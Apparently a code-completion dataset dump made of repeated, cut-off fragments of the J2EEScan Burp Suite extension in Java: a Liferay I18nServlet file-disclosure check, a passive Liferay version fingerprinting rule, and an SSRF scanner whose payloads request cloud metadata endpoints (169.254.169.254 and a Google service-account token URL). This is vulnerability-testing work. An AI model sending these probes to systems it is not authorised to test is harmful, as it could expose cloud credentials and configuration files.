// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule; | if(respInfo.getStatusCode() == 200){
List<int[]> matches = getMatches(response, REGEX, helpers);
if(matches.size() > 0){
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlMod,
new CustomHttpRequestResponse(request, response, baseRequestResponse.getHttpService()),
TITLE,
"The I18nServlet is used to display different languages in Liferay. By visiting "
+ protocol + "://" + host + ":" + port + "/en/[resource].jsp you can access [resource] file.<br />"
+ "For example, by visiting " + urlMod.toString() + "is possible to read web.xml<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "https://github.com/liferay/liferay-portal/blob/master/modules/apps/portal/portal-util-test/src/testIntegration/java/com/liferay/portal/util/test/PortalImplLocaleTest.java#L116<br />"
+ "https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portal/servlet/I18nServlet.java#L104",
REMEDY,
Risk.Medium,
Confidence.Certain
));
}
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception: " + ex);
}
}
/**
* Test on the application context
*/ | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/HTTPMatcher.java
// public static String getApplicationContext(URL url) {
//
// String path = url.getPath();
// int i = path.indexOf("/", 1);
// String context = path.substring(0, i + 1);
//
// return context;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/issues/impl/LiferayI18nServletResourceLeaks.java
import java.io.PrintWriter;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.LinkedHashSet;
import java.util.List;
import static burp.HTTPMatcher.getMatches;
import static burp.HTTPMatcher.getApplicationContext;
import burp.CustomHttpRequestResponse;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
if(respInfo.getStatusCode() == 200){
List<int[]> matches = getMatches(response, REGEX, helpers);
if(matches.size() > 0){
issues.add(new CustomScanIssue(
baseRequestResponse.getHttpService(),
urlMod,
new CustomHttpRequestResponse(request, response, baseRequestResponse.getHttpService()),
TITLE,
"The I18nServlet is used to display different languages in Liferay. By visiting "
+ protocol + "://" + host + ":" + port + "/en/[resource].jsp you can access [resource] file.<br />"
+ "For example, by visiting " + urlMod.toString() + "is possible to read web.xml<br /><br />"
+ "<b>References</b>:<br /><br />"
+ "https://github.com/liferay/liferay-portal/blob/master/modules/apps/portal/portal-util-test/src/testIntegration/java/com/liferay/portal/util/test/PortalImplLocaleTest.java#L116<br />"
+ "https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portal/servlet/I18nServlet.java#L104",
REMEDY,
Risk.Medium,
Confidence.Certain
));
}
}
} catch (MalformedURLException ex) {
stderr.println("Malformed URL Exception: " + ex);
}
}
/**
* Test on the application context
*/ | String context = getApplicationContext(url); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SSRFScanner.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | *
*/
private static final Map<byte[], Pattern> SSRF_CLOUD_INJECTION_TESTS = new HashMap<byte[], Pattern>() {
{
put("http://169.254.169.254/latest/meta-data/".getBytes(), Pattern.compile("identity-credentials", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token".getBytes(), Pattern.compile("token_type", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
};
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
for (byte[] INJ_TEST : SSRF_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
try {
// look for matches
byte[] response = checkRequestResponse.getResponse(); | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SSRFScanner.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
*
*/
private static final Map<byte[], Pattern> SSRF_CLOUD_INJECTION_TESTS = new HashMap<byte[], Pattern>() {
{
put("http://169.254.169.254/latest/meta-data/".getBytes(), Pattern.compile("identity-credentials", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token".getBytes(), Pattern.compile("token_type", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
};
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
for (byte[] INJ_TEST : SSRF_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
try {
// look for matches
byte[] response = checkRequestResponse.getResponse(); | List<int[]> matches = getMatches(response, GREP_STRING, helpers); |
ilmila/J2EEScan | src/main/java/burp/j2ee/issues/impl/SSRFScanner.java | // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
| import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern; | {
put("http://169.254.169.254/latest/meta-data/".getBytes(), Pattern.compile("identity-credentials", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token".getBytes(), Pattern.compile("token_type", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
};
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
for (byte[] INJ_TEST : SSRF_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
try {
// look for matches
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| // Path: src/main/java/burp/HTTPMatcher.java
// public static List<int[]> getMatches(byte[] response, byte[] match, IExtensionHelpers helpers) {
// List<int[]> matches = new ArrayList<int[]>();
//
// int start = 0;
// while (start < response.length) {
// start = helpers.indexOf(response, match, true, start, response.length);
// if (start == -1) {
// break;
// }
// matches.add(new int[]{start, start + match.length});
// start += match.length;
// }
//
// return matches;
// }
//
// Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
// Path: src/main/java/burp/j2ee/issues/impl/SSRFScanner.java
import static burp.HTTPMatcher.getMatches;
import burp.IBurpExtenderCallbacks;
import burp.IExtensionHelpers;
import burp.IHttpRequestResponse;
import burp.IScanIssue;
import burp.IScannerInsertionPoint;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.Risk;
import burp.j2ee.issues.IModule;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
{
put("http://169.254.169.254/latest/meta-data/".getBytes(), Pattern.compile("identity-credentials", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
put("http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token".getBytes(), Pattern.compile("token_type", Pattern.CASE_INSENSITIVE | Pattern.DOTALL | Pattern.MULTILINE));
}
};
public List<IScanIssue> scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse, IScannerInsertionPoint insertionPoint) {
IExtensionHelpers helpers = callbacks.getHelpers();
List<IScanIssue> issues = new ArrayList<>();
stderr = new PrintWriter(callbacks.getStderr(), true);
for (byte[] INJ_TEST : SSRF_INJECTION_TESTS) {
// make a request containing our injection test in the insertion point
byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
baseRequestResponse.getHttpService(), checkRequest);
try {
// look for matches
byte[] response = checkRequestResponse.getResponse();
List<int[]> matches = getMatches(response, GREP_STRING, helpers);
if (matches.size() > 0) {
| issues.add(new CustomScanIssue( |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/LiferayRule.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
| import java.util.Iterator;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import burp.IBurpExtenderCallbacks;
import burp.IHttpRequestResponse;
import burp.IHttpService;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk; | package burp.j2ee.passive;
/**
* This scanner try to identify a Liferay istallation on the system by analyzing the header which usually contains
* a string relating to the current version. Some examples of these strings are:
* - Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
* - Liferay-Portal: Liferay Portal Community Edition 6.2.0 CE GA1 (Newton / Build 6200 / November 1, 2013)
* - Liferay-Portal: Liferay Portal Community Edition 6.2 CE GA4 (Newton / Build 6203 / April 16, 2015)
* - Liferay-Portal: Liferay DXP Digital Enterprise 7.0.10 GA1 (Wilberforce / Build 7010 / June 15, 2016)
*
* If the header doesn't contains any string with "Liferay" the body is checked.
*
* This scanner has been tested on the following Liferay versions:
* - Portal 7.3.6-ga7
* - Portal 7.2.0-ga1
* - Portal 7.1.2-ga3
* - Portal 7.0.3-ga3
* - DXP 7.3.10-ga1
*/
public class LiferayRule implements PassiveRule {
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader){
List<String> strHeader = respInfo.getHeaders();
String version = "Not determinable";
Pattern p = Pattern.compile("Liferay\\s.*\\d\\.\\d.*");
Matcher m;
IHttpService httpService = baseRequestResponse.getHttpService();
String host = httpService.getHost(), protocol = httpService.getProtocol();
| // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
// return name;
// }
//
// @Override
// public int getIssueType() {
// return 0;
// }
//
// @Override
// public String getSeverity() {
// return severity.toString();
// }
//
// @Override
// // "Certain", "Firm" or "Tentative"
// public String getConfidence() {
// return confidence.toString();
// }
//
// @Override
// public String getIssueBackground() {
// return null;
// }
//
// @Override
// public String getRemediationBackground() {
// return null;
// }
//
// @Override
// public String getIssueDetail() {
// return detail;
// }
//
// @Override
// public String getRemediationDetail() {
// return remedy;
// }
//
// @Override
// public IHttpRequestResponse[] getHttpMessages() {
// return new IHttpRequestResponse[]{httpMessages};
// }
//
// @Override
// public IHttpService getHttpService() {
// return httpService;
// }
//
// }
//
// Path: src/main/java/burp/j2ee/IssuesHandler.java
// public class IssuesHandler {
//
//
// /**
// *
// * Verify for a specific protocol - host a specific
// * issue has been already detected
// *
// * @param callbacks IBurpExtenderCallbacks
// * @param vulnerabilityName vulnerability to check if it's present into the issues
// * @param protocol (http/https)
// * @param host the hostname
// *
// */
// public static boolean isvulnerabilityFound(IBurpExtenderCallbacks callbacks,
// String vulnerabilityName,
// String protocol,
// String host) {
//
// IScanIssue[] allIssues;
//
// allIssues = callbacks.getScanIssues(protocol + "://" + host);
//
// for (IScanIssue a : allIssues) {
//
// if (a.getIssueName().contains(vulnerabilityName)) {
// return true;
// }
// }
//
// return false;
// }
// }
// Path: src/main/java/burp/j2ee/passive/LiferayRule.java
import java.util.Iterator;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import burp.IBurpExtenderCallbacks;
import burp.IHttpRequestResponse;
import burp.IHttpService;
import burp.IRequestInfo;
import burp.IResponseInfo;
import burp.j2ee.Confidence;
import burp.j2ee.CustomScanIssue;
import burp.j2ee.IssuesHandler;
import burp.j2ee.Risk;
package burp.j2ee.passive;
/**
* This scanner try to identify a Liferay istallation on the system by analyzing the header which usually contains
* a string relating to the current version. Some examples of these strings are:
* - Liferay-Portal: Liferay Portal Standard Edition 5.2.3 (Augustine / Build 5203 / May 20, 2009)
* - Liferay-Portal: Liferay Portal Community Edition 6.2.0 CE GA1 (Newton / Build 6200 / November 1, 2013)
* - Liferay-Portal: Liferay Portal Community Edition 6.2 CE GA4 (Newton / Build 6203 / April 16, 2015)
* - Liferay-Portal: Liferay DXP Digital Enterprise 7.0.10 GA1 (Wilberforce / Build 7010 / June 15, 2016)
*
* If the header doesn't contains any string with "Liferay" the body is checked.
*
* This scanner has been tested on the following Liferay versions:
* - Portal 7.3.6-ga7
* - Portal 7.2.0-ga1
* - Portal 7.1.2-ga3
* - Portal 7.0.3-ga3
* - DXP 7.3.10-ga1
*/
public class LiferayRule implements PassiveRule {
@Override
public void scan(IBurpExtenderCallbacks callbacks, IHttpRequestResponse baseRequestResponse,
String reqBody, String respBody, IRequestInfo reqInfo, IResponseInfo respInfo,
String httpServerHeader, String contentTypeResponse, String xPoweredByHeader){
List<String> strHeader = respInfo.getHeaders();
String version = "Not determinable";
Pattern p = Pattern.compile("Liferay\\s.*\\d\\.\\d.*");
Matcher m;
IHttpService httpService = baseRequestResponse.getHttpService();
String host = httpService.getHost(), protocol = httpService.getProtocol();
| if (IssuesHandler.isvulnerabilityFound(callbacks, |
ilmila/J2EEScan | src/main/java/burp/j2ee/passive/LiferayRule.java | // Path: src/main/java/burp/j2ee/CustomScanIssue.java
// public class CustomScanIssue implements IScanIssue {
//
// private IHttpService httpService;
// private URL url;
// private IHttpRequestResponse httpMessages;
// private String name;
// private String detail;
// private Risk severity;
// private String remedy;
// private Confidence confidence = Confidence.Certain;
//
// public CustomScanIssue(
// IHttpService httpService,
// URL url,
// IHttpRequestResponse httpMessages,
// String name,
// String detail,
// String remedy,
// Risk severity,
// Confidence confidence) {
// this.httpService = httpService;
// this.url = url;
// this.httpMessages = httpMessages;
// this.name = "J2EEScan - " + name;
// this.detail = detail;
// this.remedy = remedy;
// this.severity = severity;
// this.confidence = confidence;
// }
//
//
// @Override
// public URL getUrl() {
// return url;
// }
//
// @Override
// public String getIssueName() {
